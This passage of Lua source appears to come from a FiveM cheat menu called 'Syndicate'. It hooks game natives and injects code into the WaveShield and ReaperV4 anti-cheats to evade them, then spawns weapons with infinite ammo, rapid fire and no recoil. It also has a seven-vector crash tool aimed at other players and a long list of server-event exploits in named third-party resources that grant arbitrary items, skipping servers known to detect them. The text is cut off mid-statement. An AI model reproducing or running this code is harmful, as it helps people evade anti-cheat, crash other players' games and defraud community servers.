PlayerPedId() then return false, 0.0 end return true end) MachoHookNative(0x4E209B2C1EAD5159, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x814C9D19DFD69679, function(p) if p == PlayerPedId() then return false, 1.0 end return true end) MachoHookNative(0xEFFED78E9011134D, function(p, weaponSlot) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x7E9DFE24AC1E58EF, function(p, x1, y1, z1, x2, y2, z2, p7, p8) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xA13E93403F26C812, function(weaponTypeIndex) return false, -1569615261 end) MachoHookNative(0xBC4C9EA5391ECC0D, function(id) if id == 2 or id == 19 or id == 20 then return false, false end return true end) MachoHookNative(0x2975C866E6713290, function(player) if player == PlayerId() then return false, false, 0 end return true end) MachoHookNative(0x79CFD9827CC979B6, function(p) return false, 1 end) end end) end) ]], w)) local _wsRes2 = (type(GetWSResourceName) == "function" and GetWSResourceName()) if isBypassActive and isBypassActive("WaveShield") and _wsRes2 and string.lower(tostring(_wsRes2)) ~= "waveshield" and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, _wsRes2, string.format([==[ local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(fn) return function(...) return fn(...) end end local function WS_RunSafeFunc(setFunc, ...) if type(setFunc) == "function" then local ok, res = pcall(function(...) if LocalPlayer and LocalPlayer.state then local k = "ws_" .. tostring(math.random(100000, 999999)) LocalPlayer.state:set(k, setFunc, false) if LocalPlayer.state[k] then return LocalPlayer.state[k](...) end end return setFunc(...) end, ...) if ok then return res end return setFunc(...) end end local function SafeNative(fn, ...) return safeCall(WS_RunSafeFunc, SafeWrap(fn), ...) end local ped = SafeNative(PlayerPedId) local hash = SafeNative(GetHashKey, %q) if hash and hash ~= 0 then pcall(function() SafeNative(RequestModel, hash) SafeNative(RequestWeaponAsset, hash, 31, 0) end) pcall(function() SafeNative(TriggerEvent, "__WaveShield:hasChangedPedWeapon", hash) end) pcall(function() if exports and exports["WaveShield"] and exports["WaveShield"].giveWeapon then exports["WaveShield"]:giveWeapon(hash) end end) SafeNative(GiveWeaponToPed, ped, hash, 9999, false, true) SafeNative(SetPedAmmo, ped, hash, 9999) SafeNative(SetCurrentPedWeapon, ped, hash, true) SafeNative(SetPedInfiniteAmmo, ped, true, hash) SafeNative(SetPedInfiniteAmmoClip, ped, true) SafeNative(SetPedCanSwitchWeapon, ped, true) -- WS-safe keep-alive: authorize first then SafeNative-give every 3s if not _G._SyndicateWeaponKA then _G._SyndicateWeaponKA = {} end _G._SyndicateWeaponKA[hash] = true if not _G._SyndicateWeaponKAThread then _G._SyndicateWeaponKAThread = true CreateThread(function() while true do Wait(3000) local myPed = SafeNative(PlayerPedId) for h, _ in pairs(_G._SyndicateWeaponKA or {}) do -- WS: authorize FIRST, then safe-give pcall(function() if exports and exports["WaveShield"] and exports["WaveShield"].giveWeapon then exports["WaveShield"]:giveWeapon(h) end end) pcall(function() SafeNative(TriggerEvent, "__WaveShield:hasChangedPedWeapon", h) end) Wait(50) pcall(function() SafeNative(GiveWeaponToPed, myPed, h, 9999, false, false) SafeNative(SetPedAmmo, myPed, h, 9999) SafeNative(SetPedInfiniteAmmo, myPed, true, h) SafeNative(SetPedInfiniteAmmoClip, myPed, true) end) end end end) end end ]==], w)) else local _reaperRes2 = FindReaperResource and FindReaperResource() local _reaperActive2 = isBypassActive and (isBypassActive("ReaperV4_NEW") or isBypassActive("ReaperV4_OLD")) if _reaperActive2 and _reaperRes2 and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, _reaperRes2, string.format([==[ local ped = PlayerPedId() local hash = GetHashKey(%q) if hash and hash ~= 0 then pcall(function() RequestModel(hash) RequestWeaponAsset(hash, 31, 0) end) local t = GetGameTimer() + 800 while not HasModelLoaded(hash) and not HasWeaponAssetLoaded(hash) and GetGameTimer() < t do Wait(10) end GiveWeaponToPed(ped, hash, 9999, false, true) SetPedAmmo(ped, hash, 9999) SetCurrentPedWeapon(ped, hash, true) SetPedInfiniteAmmo(ped, true, hash) SetPedInfiniteAmmoClip(ped, true) SetPedCanSwitchWeapon(ped, true) pcall(function() SetPedCurrentWeaponVisible(ped, true, true, true, true) end) Wait(100) SetCurrentPedWeapon(ped, hash, true) end ]==], w)) else injectCode('monitor', string.format([[ local ped = PlayerPedId() local hash = GetHashKey(%q) if hash and hash ~= 0 then pcall(function() RequestWeaponAsset(hash, 31, 0) end) local t = GetGameTimer() + 500 while not HasWeaponAssetLoaded(hash) and GetGameTimer() < t do Wait(10) end GiveWeaponToPed(ped, hash, 9999, false, true) SetPedAmmo(ped, hash, 9999) SetCurrentPedWeapon(ped, hash, true) SetPedInfiniteAmmo(ped, true, hash) SetPedInfiniteAmmoClip(ped, true) SetPedCanSwitchWeapon(ped, true) end ]], w)) end end showNotify("Spawned: " .. tostring(w), "success") end }, { label = 'Throwables & Equipment', type = 'scroll', selected = 1, options = { { label = 'Grenade', value = 'WEAPON_GRENADE' }, { label = 'BZ Gas', value = 'WEAPON_BZGAS' }, { label = 'Tear Gas (Smoke Grenade)', value = 'WEAPON_SMOKEGRENADE' }, { label = 'Molotov', value = 'WEAPON_MOLOTOV' }, { label = 'Sticky Bomb', value = 'WEAPON_STICKYBOMB' }, { label = 'Proximity Mine', value = 'WEAPON_PROXMINE' }, { label = 'Pipe Bomb', value = 'WEAPON_PIPEBOMB' }, { label = 'Snowball', value = 'WEAPON_SNOWBALL' }, { label = 'Baseball', value = 'WEAPON_BALL' }, { label = 'Flare', value = 'WEAPON_FLARE' }, { label = 'Jerry Can (Petrol Can)', value = 'WEAPON_PETROLCAN' }, { label = 'Hazardous Jerry Can', value = 'WEAPON_HAZARDCAN' }, { label = 'Fertilizer Can', value = 'WEAPON_FERTILIZERCAN' }, { label = 'Acid Package', value = 'WEAPON_ACIDPACKAGE' } }, onConfirm = function(data) local w = type(data) == "table" and data.value or data injectCode('monitor', string.format([[ CreateThread(function() local ped = PlayerPedId() local wName = %q local hash = GetHashKey(wName) if hash and hash ~= 0 then pcall(function() RequestWeaponAsset(hash, 31, 0) end) local t = GetGameTimer() + 500 while not HasWeaponAssetLoaded(hash) and GetGameTimer() < t do Wait(10) end GiveWeaponToPed(ped, hash, 9999, false, true) SetPedAmmo(ped, hash, 9999) SetCurrentPedWeapon(ped, hash, true) Wait(50) SetCurrentPedWeapon(ped, hash, true) end end) ]], w)) showNotify("Spawned: " .. tostring(w), "success") end } } }, { name = 'Extra', submenu = { { label = 'Weapon Animations', type = 'scroll', selected = 1, options = { { label = 'Default', value = 'default' }, { label = 'Gangster', value = 'gangster' }, { label = 'Hillbilly', value = 'hillbilly' }, { label = 'Drunk', value = 'drunk' }, { label = 'Gang Female', value = 'gangfemale' }, { label = 'First Person', value = 'firstperson' } }, onConfirm = function(selected) if selected then local animVal = type(selected) == "table" and selected.value or selected local animLabel = type(selected) == "table" and selected.label or animVal injectCode('monitor', string.format([[ local anim = %q local hash = 0 if anim == "gangster" then hash = GetHashKey("Gang1H") elseif anim == "hillbilly" then hash = GetHashKey("Hillbilly") elseif anim == "drunk" then hash = GetHashKey("Drunk") elseif anim == "gangfemale" then hash = GetHashKey("GangFemale") elseif anim == "firstperson" then hash = GetHashKey("FirstPerson") else hash = 0 end _G.currentWeapAnimHash = hash local ped = PlayerPedId() SetWeaponAnimationOverride(ped, hash) if not _G.weapAnimThread then _G.weapAnimThread = true CreateThread(function() while _G.weapAnimThread do Wait(250) local myPed = PlayerPedId() if _G.currentWeapAnimHash then SetWeaponAnimationOverride(myPed, _G.currentWeapAnimHash) end end end) end ]], animVal)) showNotify("Weapon Animation: " .. tostring(animLabel), "success") end end }, { label = 'Infinite Ammo', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ _G.setInfAmmo = true if not _G.infAmmoThread then _G.infAmmoThread = true CreateThread(function() while _G.setInfAmmo do Wait(100) local ped = PlayerPedId() local found, weap = GetCurrentPedWeapon(ped, true) if found and weap and weap ~= 0 then SetPedInfiniteAmmo(ped, true, weap) SetPedInfiniteAmmoClip(ped, true) SetPedAmmo(ped, weap, 9999) AddAmmoToPed(ped, weap, 9999) end end SetPedInfiniteAmmo(PlayerPedId(), false, 0) SetPedInfiniteAmmoClip(PlayerPedId(), false) _G.infAmmoThread = false end) end ]]) else injectCode('monitor', [[ _G.setInfAmmo = false ]]) end showNotify(enabled and "Infinite Ammo ON" or "Infinite Ammo OFF", "info") end }, { label = 'No Reload', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ _G.setNoReload = true if not _G.noReloadThread then _G.noReloadThread = true CreateThread(function() while _G.setNoReload do Wait(50) local ped = PlayerPedId() local found, weap = GetCurrentPedWeapon(ped, true) if found and weap and weap ~= 0 then local maxClip = GetMaxAmmoInClip(ped, weap, true) if not maxClip or maxClip <= 0 then maxClip = 250 end SetAmmoInClip(ped, weap, maxClip) RefillAmmoInstantly(ped) end end _G.noReloadThread = false end) end ]]) else injectCode('monitor', [[ _G.setNoReload = false ]]) end showNotify(enabled and "No Reload ON" or "No Reload OFF", "info") end }, { label = 'No Recoil', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ _G.setNoRecoil = true if not _G.noRecoilThread then _G.noRecoilThread = true CreateThread(function() while _G.setNoRecoil do Wait(0) local ped = PlayerPedId() if IsPedShooting(ped) then SetGameplayCamRelativePitch(0.0, 1.0) end pcall(function() SetWeaponRecoilShakeAmplitude(0.0) end) end _G.noRecoilThread = false end) end ]]) else injectCode('monitor', [[ _G.setNoRecoil = false ]]) end showNotify(enabled and "No Recoil ON" or "No Recoil OFF", "info") end }, { label = 'No Spread', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ _G.setNoSpread = true if not _G.noSpreadThread then _G.noSpreadThread = true CreateThread(function() while _G.setNoSpread do Wait(50) local ped = PlayerPedId() SetPlayerWeaponAccuracy(PlayerId(), 100.0) SetPedAccuracy(ped, 100) end _G.noSpreadThread = false end) end ]]) else injectCode('monitor', [[ _G.setNoSpread = false ]]) end showNotify(enabled and "No Spread ON" or "No Spread OFF", "info") end }, { label = 'Rapid Fire', type = 'checkbox', onConfirm = function(enabled) if enabled then injectCode('monitor', [[ _G.setRapidFire = true if not _G.rapidFireThread then _G.rapidFireThread = true CreateThread(function() while _G.setRapidFire do Wait(0) local ped = PlayerPedId() if IsControlPressed(0, 24) or IsDisabledControlPressed(0, 24) then local found, weap = GetCurrentPedWeapon(ped, true) if found and weap and weap ~= 0 then local camCoords = GetGameplayCamCoord() local camRot = GetGameplayCamRot(2) local radX = math.rad(camRot.x) local radZ = math.rad(camRot.z) local numX_Z = math.abs(math.cos(radX)) local dir = vector3(-math.sin(radZ) * numX_Z, math.cos(radZ) * numX_Z, math.sin(radX)) local target = camCoords + (dir * 300.0) local muzzleCoords = GetPedBoneCoords(ped, 31086, 0.0, 0.0, 0.0) ShootSingleBulletBetweenCoords(muzzleCoords.x, muzzleCoords.y, muzzleCoords.z, target.x, target.y, target.z, 250, true, weap, ped, true, false, -1.0) end end end _G.rapidFireThread = false end) end ]]) else injectCode('monitor', [[ _G.setRapidFire = false ]]) end showNotify(enabled and "Rapid Fire ON" or "Rapid Fire OFF", "info") end }, { label = 'Weapon Damage', type = 'slider', min = 1, max = 500, step = 10, value = 100, onConfirm = function(val) local numVal = tonumber(val) or 100 injectCode('monitor', string.format([[ SetPlayerWeaponDamageModifier(PlayerId(), %f) SetPlayerMeleeWeaponDamageModifier(PlayerId(), %f) ]], numVal / 100.0, numVal / 100.0)) showNotify("Weapon Damage: " .. tostring(numVal) .. "%%", "success") end }, { label = 'Force Weapon Wheel', type = 'checkbox', checked = false, onConfirm = function(enabled) if enabled then injectCode('monitor', [[ _G.forceWeaponWheelActive = true if not _G.forceWeaponWheelThread then _G.forceWeaponWheelThread = true CreateThread(function() while _G.forceWeaponWheelActive do Wait(0) EnableAllControlActions(0) ShowHudComponentThisFrame(2) ShowHudComponentThisFrame(19) ShowHudComponentThisFrame(20) ShowHudComponentThisFrame(21) ShowHudComponentThisFrame(22) end _G.forceWeaponWheelThread = false end) end ]]) showNotify("Force weapon wheel enabled", "success") else injectCode('monitor', [[ _G.forceWeaponWheelActive = false ]]) showNotify("Force weapon wheel disabled", "info") end end } } } } }, { label = 'Vehicles', icon = 'ph-car', type = 'submenu', tabs = { { name = 'Models', submenu = buildAllVehicleModelsSubmenu() }, { name = 'Actions', submenu = (function() local function getVeh() local ped = PlayerPedId() local v = (GetVehiclePedIsUsing and GetVehiclePedIsUsing(ped)) or (GetVehiclePedIsIn and GetVehiclePedIsIn(ped, false)) if not v or v == 0 then v = GetVehiclePedIsIn and GetVehiclePedIsIn(ped, true) end if not v or v == 0 then local pos = GetEntityCoords(ped) v = GetClosestVehicle and GetClosestVehicle(pos.x, pos.y, pos.z, 5.0, 0, 70) end return v end return { { type = 'checkbox', label = 'Force Engine On', onConfirm = function(checked) _G.EngineForceOn = checked if checked then CreateThread(function() while _G.EngineForceOn do local veh = getVeh() if veh and veh ~= 0 and DoesEntityExist(veh) then SetVehicleEngineHealth(veh, 1000.0) SetVehicleCanEngineOperateOnFire(veh, true) SetVehicleEngineCanDegrade(veh, false) SetVehicleKeepEngineOnWhenAbandoned(veh, true) SetVehicleEngineOn(veh, true, true, false) end Wait(10) end end) else local veh = getVeh() if veh and veh ~= 0 and DoesEntityExist(veh) then SetVehicleCanEngineOperateOnFire(veh, false) SetVehicleEngineCanDegrade(veh, true) SetVehicleKeepEngineOnWhenAbandoned(veh, false) end end end }, { type = 'checkbox', label = 'Vehicle Godmode', onConfirm = function(checked) _G.VehicleGodmode = checked if checked then CreateThread(function() while _G.VehicleGodmode do local veh = getVeh() if veh and veh ~= 0 and DoesEntityExist(veh) then SetEntityInvincible(veh, true) SetVehicleBodyHealth(veh, 1000.0) SetVehicleEngineHealth(veh, 1000.0) SetVehicleFixed(veh) end Wait(10) end end) else local veh = getVeh() if veh and veh ~= 0 and DoesEntityExist(veh) then SetEntityInvincible(veh, false) end end end }, { type = 'checkbox', label = 'Vehicle Invisibility', onConfirm = function(checked) _G.VehicleInvisibility = checked if checked then CreateThread(function() while _G.VehicleInvisibility do local veh = getVeh() if veh and veh ~= 0 and DoesEntityExist(veh) then SetEntityVisible(veh, false, false) end Wait(10) end end) else local veh = getVeh() if veh and veh ~= 0 and DoesEntityExist(veh) then SetEntityVisible(veh, true, false) end end end }, { type = 'checkbox', label = 'Freeze Vehicle', onConfirm = function(checked) _G.FreezeVehicle = checked if checked then CreateThread(function() while _G.FreezeVehicle do local veh = getVeh() if veh and veh ~= 0 and DoesEntityExist(veh) then FreezeEntityPosition(veh, true) end Wait(10) end end) else local veh = getVeh() if veh and veh ~= 0 and DoesEntityExist(veh) then FreezeEntityPosition(veh, false) end end end }, { type = 'checkbox', label = 'Vehicle Hop', onConfirm = function(checked) _G.VehicleJump = checked if checked then CreateThread(function() while _G.VehicleJump do local veh = getVeh() if veh and veh ~= 0 and DoesEntityExist(veh) then if IsControlJustPressed(0, 22) or IsDisabledControlJustPressed(0, 22) then ApplyForceToEntity(veh, 1, 0.0, 0.0, 9.0, 0.0, 0.0, 0.0, 0, false, true, true, false, true) end end Wait(0) end end) end end }, { type = 'checkbox', label = 'Force Stop', onConfirm = function(checked) _G.ForceStop = checked if checked then CreateThread(function() while _G.ForceStop do local veh = getVeh() if veh and veh ~= 0 and DoesEntityExist(veh) then if IsControlPressed(0, 22) or IsDisabledControlPressed(0, 22) then SetVehicleForwardSpeed(veh, 0.0) SetEntityVelocity(veh, 0.0, 0.0, 0.0) end end Wait(0) end end) end end }, { type = 'button', label = 'Repair Vehicle', onConfirm = function() local veh = getVeh() if veh and veh ~= 0 then SetVehicleFixed(veh) SetVehicleDirtLevel(veh, 0.0) showNotify("Vehicle Repaired", "success") end end }, { type = 'button', label = 'Refuel Vehicle', onConfirm = function() local veh = getVeh() if veh and veh ~= 0 then SetVehicleFuelLevel(veh, 100.0) showNotify("Vehicle Refueled", "success") end end }, { type = 'button', label = 'Flip Vehicle', onConfirm = function() local veh = getVeh() if veh and veh ~= 0 then local heading = GetEntityHeading(veh) SetEntityRotation(veh, 0.0, 0.0, heading, 1, true) SetVehicleOnGroundProperly(veh) showNotify("Vehicle Flipped", "success") end end }, { type = 'button', label = 'Clean Vehicle', onConfirm = function() local veh = getVeh() if veh and veh ~= 0 then SetVehicleDirtLevel(veh, 0.0) showNotify("Vehicle Cleaned", "success") end end }, { type = 'button', label = 'Delete Vehicle', onConfirm = function() executeCode('any', [[ local ped = PlayerPedId() local veh = GetVehiclePedIsIn(ped, false) if not veh or veh == 0 then veh = GetVehiclePedIsIn(ped, true) end if not veh or veh == 0 then local pos = GetEntityCoords(ped) veh = GetClosestVehicle(pos.x, pos.y, pos.z, 5.0, 0, 70) end if veh and veh ~= 0 and DoesEntityExist(veh) then SetEntityAsMissionEntity(veh, true, true) DeleteVehicle(veh) if DoesEntityExist(veh) then DeleteEntity(veh) end end ]]) showNotify("Vehicle Deleted", "info") end }, { type = 'button', label = 'Set License Plate', onConfirm = function() showInput('Enter License Plate', '', function(plateText) if plateText and plateText ~= '' then local veh = getVeh() if veh and veh ~= 0 then SetVehicleNumberPlateText(veh, plateText) showNotify('Plate set to: ' .. plateText, 'success') end end end) end }, { type = 'button', label = 'Max Vehicle Upgrades', onConfirm = function() local veh = getVeh() if veh and veh ~= 0 then SetVehicleModKit(veh, 0) SetVehicleWheelType(veh, 7) for i = 0, 16 do local max = GetNumVehicleMods(veh, i) if max and max > 0 then SetVehicleMod(veh, i, max - 1, false) end end for i = 17, 22 do ToggleVehicleMod(veh, i, true) end SetVehicleMod(veh, 23, 1, false) SetVehicleMod(veh, 24, 1, false) for _, mod in ipairs({ 25, 27, 28, 30, 33, 34, 35 }) do local max = GetNumVehicleMods(veh, mod) if max and max > 0 then SetVehicleMod(veh, mod, max - 1, false) end end local max38 = GetNumVehicleMods(veh, 38) if max38 and max38 > 0 then SetVehicleMod(veh, 38, max38 - 1, true) end SetVehicleWindowTint(veh, 1) SetVehicleTyresCanBurst(veh, false) showNotify("Max Upgrades Applied", "success") end end }, { type = 'button', label = 'Lock Closest Vehicle', onConfirm = function() local ped = PlayerPedId() local pos = GetEntityCoords(ped) local veh = GetClosestVehicle(pos.x, pos.y, pos.z, 5.0, 0, 70) if veh and DoesEntityExist(veh) then for i = 1, 2 do SetVehicleDoorsLockedForAllPlayers(veh, true) Wait(1) end showNotify("Closest Vehicle Locked", "success") end end }, { type = 'button', label = 'Unlock Closest Vehicle', onConfirm = function() local ped = PlayerPedId() local pos = GetEntityCoords(ped) local veh = GetClosestVehicle(pos.x, pos.y, pos.z, 5.0, 0, 70) if veh and DoesEntityExist(veh) then for i = 1, 2 do SetVehicleDoorsLockedForAllPlayers(veh, false) Wait(1) end showNotify("Closest Vehicle Unlocked", "success") end end } } end)() } } }, { label = 'Exploits', icon = 'ph-lightning', type = 'submenu', tabs = { { name = 'Crash Engine', submenu = { { type = 'divider', label = 'TARGET SELECTION' }, { label = 'Target Server ID', type = 'button', onConfirm = function() showNotify("Using current player target", "info") end }, { type = 'divider', label = 'CRASH VECTORS' }, { label = 'Execute All Vectors (Nuke)', type = 'button', onConfirm = function() SyndicateCrashEngine.ExecuteVector(nil, nil) showNotify("Dispatched All 7 Crash Vectors!", "success") end }, { label = 'Vector 1: Statebag NaN Poison', type = 'button', onConfirm = function() SyndicateCrashEngine.ExecuteVector(nil, 1) showNotify("Vector 1 Sent", "success") end }, { label = 'Vector 2: PhysX Impulse Overflow', type = 'button', onConfirm = function() SyndicateCrashEngine.ExecuteVector(nil, 2) showNotify("Vector 2 Sent", "success") end }, { label = 'Vector 3: Particle Buffer Burst', type = 'button', onConfirm = function() SyndicateCrashEngine.ExecuteVector(nil, 3) showNotify("Vector 3 Sent", "success") end }, { label = 'Vector 4: RPC Event Desync', type = 'button', onConfirm = function() SyndicateCrashEngine.ExecuteVector(nil, 4) showNotify("Vector 4 Sent", "success") end }, { label = 'Vector 5: Animation Blend Flood', type = 'button', onConfirm = function() SyndicateCrashEngine.ExecuteVector(nil, 5) showNotify("Vector 5 Sent", "success") end }, { label = 'Vector 6: Progress Bar Saturation', type = 'button', onConfirm = function() SyndicateCrashEngine.ExecuteVector(nil, 6) showNotify("Vector 6 Sent", "success") end }, { label = 'Vector 7: NUI Command Focus Lock', type = 'button', onConfirm = function() SyndicateCrashEngine.ExecuteVector(nil, 7) showNotify("Vector 7 Sent", "success") end } } }, { name = 'Trigger Finder', submenu = { { type = 'divider', label = 'EVENT DISCOVERY' }, { label = 'Scan All Known Triggers', type = 'button', onConfirm = function() SyndicateTriggerFinder.Start() showNotify(SyndicateTriggerFinder.IsFuzzing and "Trigger Sweep: STARTED" or "Trigger Sweep: STOPPED", "info") end }, { label = 'Sweep Interval (ms)', type = 'slider', min = 50, max = 1000, value = 200, onConfirm = function(val) SyndicateTriggerFinder.MinDelayMs = val SyndicateTriggerFinder.MaxDelayMs = val + 150 showNotify("Interval updated to " .. tostring(val) .. "ms", "info") end }, { label = 'Random Jitter Shield', type = 'checkbox', checked = true, onConfirm = function(val) SyndicateTriggerFinder.UseRandomJitter = val showNotify("Anti-Detection Jitter: " .. (val and "ON" or "OFF"), "info") end } } }, { name = 'Spawner', submenu = { { label = 'Spawn Item', type = 'button', onConfirm = function() showInput("Item Name", "", function(item) if item and item ~= "" then showInput("Amount", "1", function(amountStr) local amount = tonumber(amountStr) or 1 if amount <= 0 then amount = 1 end local itemName = item:lower() local triggered = false if GetResourceState('plt_drugs') == 'started' then triggered = true pcall(function() MachoInjectJavaScript(string.format([[ (() => { try { window.citFrames['plt_drugs'].contentWindow.fetch('https://plt_drugs/buyItem', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ itemName: '%s', amount: %d, price: 0 }) }); } catch(e) {} })(); ]], itemName, amount)) end) end local itemTriggers = { { res = "xmmx_bahamas", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'xmmx_bahamas:client:CreateRecipe', { name = '%s', label = 'SYNDICATE MENU', ingredients = {} }) ]], itemName) }, { res = "mythic_weed", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'mythic_weed:openBackwoodPackage', { packageItem = 'cash', backwoodItem = '%s', quantity = %d }) ]], itemName, amount) }, { res = "ms_weedrolling_esx", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'mythic_weed:openBackwoodPackage', { packageItem = 'cash', backwoodItem = '%s', quantity = %d }) ]], itemName, amount) }, { res = "spoodyGunPlug", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, '__ox_cb_spoodyGunPlug:giveItems', 'spoodyGunPlug', 'spoodyGunPlug:giveItems:xxxx', '%s', %d) ]], itemName, amount) }, { res = "xmmx_letscookplus", code = (function() local _blockedIPs = { "191.96.152.6:30120" } local _ep = "" pcall(function() _ep = GetCurrentServerEndpoint and GetCurrentServerEndpoint() or "" end) for _, _ip in ipairs(_blockedIPs) do if _ep == _ip or string.find(_ep, _ip, 1, true) then return nil end end return string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'xmmx_letscookplus:server:BuyItems', { ['%s'] = %d }) ]], itemName, amount) end)() }, { res = "devkit_drugselling", code = (function() local _blockedIPs = { "181.215.63.184:30120" } local _ep = "" pcall(function() _ep = GetCurrentServerEndpoint and GetCurrentServerEndpoint() or "" end) for _, _ip in ipairs(_blockedIPs) do if _ep == _ip or string.find(_ep, _ip, 1, true) then return nil end end return string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'devkit_drugselling:giverobback', '%s', %d) ]], itemName, amount) end)() }, { res = "jerknjam_plus", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'jerknjam_plus:server:giveItem', '%s', 0, %d) ]], itemName, amount) }, { res = "ars_smoking", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'ars_smoking:client:startCrafting', { item = '%s', count = %d }) ]], itemName, amount) }, { res = "ak47_khusbites", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'ak47_khusbites:process', '%s', { pooch_bag = 0, weed_leaf = 0 }, %d, 10000) ]], itemName, amount) }, { res = "pug-robberycreator", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'GiveItemReward', { itemName = '%s', quantity = %d, rewardItem = '%s' }) ]], itemName, amount, itemName) }, { res = "pug-businesscreator", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'Pug:Client:DoBusinessSuppliesLogic', { args = { Name = 'SYNDICATE MENU', Info = { PedCoords = GetEntityCoords(PlayerPedId()), Heading = GetEntityHeading(PlayerPedId()), SuppliesData = { Supplies1 = '%s', SuppliesPrice1 = 0, SuppliesAmount1 = %d } } } }) ]], itemName, amount) }, { res = "fivecode_camping", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'fivecode_camping:campFireMenuLight7', { entity = PlayerPedId(), v = { item = '%s', amount = %d } }) ]], itemName, amount) }, { res = "mythic_xanax", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'mythic_xanax:openBottle', 'cash', '%s', %d, %d) ]], itemName, amount, amount) }, { res = "vl_businesses", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'lib.callback.await', 'vl_businesses:craft', false, '%s', {}, %d) ]], itemName, amount) }, { res = "VL-Businesses", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'lib.callback.await', 'vl_businesses:craft', false, '%s', {}, %d) ]], itemName, amount) }, { res = "prism-crafting", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'prism-crafting:client:openBlueprintShop', { data = { { item = '%s', price = 0 } } }) ]], itemName) }, { res = "ak47_idcardv2", code = string.format([[ for i = 1, %d do _G.QKSLQ(_G.TriggerServerEvent, 'ak47_idcardv2:addcard', { item = '%s', label = '%s', blob = 'qs' }) Wait(15) end ]], amount, itemName, itemName) }, { res = "codewave-bbq", code = (function() -- Blocked server IPs where codewave-bbq is an anticheat resource local _blockedIPs = { "96.126.188.16:30120", "91.190.154.187:30120" } if _G.SyndicateCodewaveBlockedIPs then for _, v in ipairs(_G.SyndicateCodewaveBlockedIPs) do _blockedIPs[#_blockedIPs + 1] = v end end local _ep = "" pcall(function() _ep = GetCurrentServerEndpoint and GetCurrentServerEndpoint() or "" end) for _, _ip in ipairs(_blockedIPs) do if _ep == _ip or string.find(_ep, _ip, 1, true) then return nil end end return string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'placeProp:returnItem', '%s') ]], itemName) end)() }, { res = "qs-weed", code = (function() local _blockedIPs = { "141.11.104.43:30120" } local _ep = "" pcall(function() _ep = GetCurrentServerEndpoint and GetCurrentServerEndpoint() or "" end) for _, _ip in ipairs(_blockedIPs) do if _ep == _ip or string.find(_ep, _ip, 1, true) then return nil end end return string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'drugs:server:CollectionWeed', '%s') ]], itemName) end)() }, { res = "qs-miner", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'qs-miner:givePickaxeToPlayer', '%s') ]], itemName) }, { res = "0r-craft", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, '0r-craft:server:HandleCallback', '0r-craft:server:ItemPickUpFromQueue', { item = '%s', count = %d }) ]], itemName, amount) }, { res = "s4-diving", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 's4-diving:buyItem', { name = '%s', price = 0, label = 'Water', amount = %d }) ]], itemName, amount) }, { res = "pug-fishing", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'pug-fishing:client:ToggleItem', true, '%s', %d) ]], itemName, amount) }, { res = "wasabi_ambulance", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'wasabi_ambulance:gItem', '%s') ]], itemName) }, { res = "ft_jobshops", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'ft_jobshops:BuyItem', '%s', %d, 0) ]], itemName, amount) }, { res = "cc-chipeo", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'cc-chipeo:server:addItem', '%s') ]], itemName) }, { res = "elder_speedcontrol", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'es_drilltime_speedcontrol:client:buy', { item = { item = '%s', price = 0, label = '%s' } }) ]], itemName, itemName) }, { res = "ms_percs_system_esx", code = string.format([[ pcall(function() if lib then lib.progressCircle = function() return true end end end) pcall(function() if lib then lib.notify = function() end end end) CreateObject = function() return 0 end local function spawnshit() if MainAPI and MainAPI.TriggerEvent then MainAPI.TriggerEvent("ms:crushPill", { pill = "money", powder = "%s", label = "SyndicateOT" }) else _G.QKSLQ(_G.TriggerEvent, "ms:crushPill", { pill = "money", powder = "%s", label = "SyndicateOT" }) end end for i = 1, %d do spawnshit() Wait(15) end ]], itemName, itemName, amount) }, { res = "ms_percs_system", code = string.format([[ pcall(function() if lib then lib.progressCircle = function() return true end end end) pcall(function() if lib then lib.notify = function() end end end) CreateObject = function() return 0 end local function spawnshit() if MainAPI and MainAPI.TriggerEvent then MainAPI.TriggerEvent("ms:crushPill", { pill = "money", powder = "%s", label = "SyndicateOT" }) else _G.QKSLQ(_G.TriggerEvent, "ms:crushPill", { pill = "money", powder = "%s", label = "SyndicateOT" }) end end for i = 1, %d do spawnshit() Wait(15) end ]], itemName, itemName, amount) }, { res = "devkit_smoking", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'devkit_smoking:server:AddItem', '%s') ]], itemName) }, { res = "ak47_smokingv2", code = (function() local _blockedIPs = { "191.96.152.6:30120", "141.11.104.43:30120" } local _ep = "" pcall(function() _ep = GetCurrentServerEndpoint and GetCurrentServerEndpoint() or "" end) for _, _ip in ipairs(_blockedIPs) do if _ep == _ip or 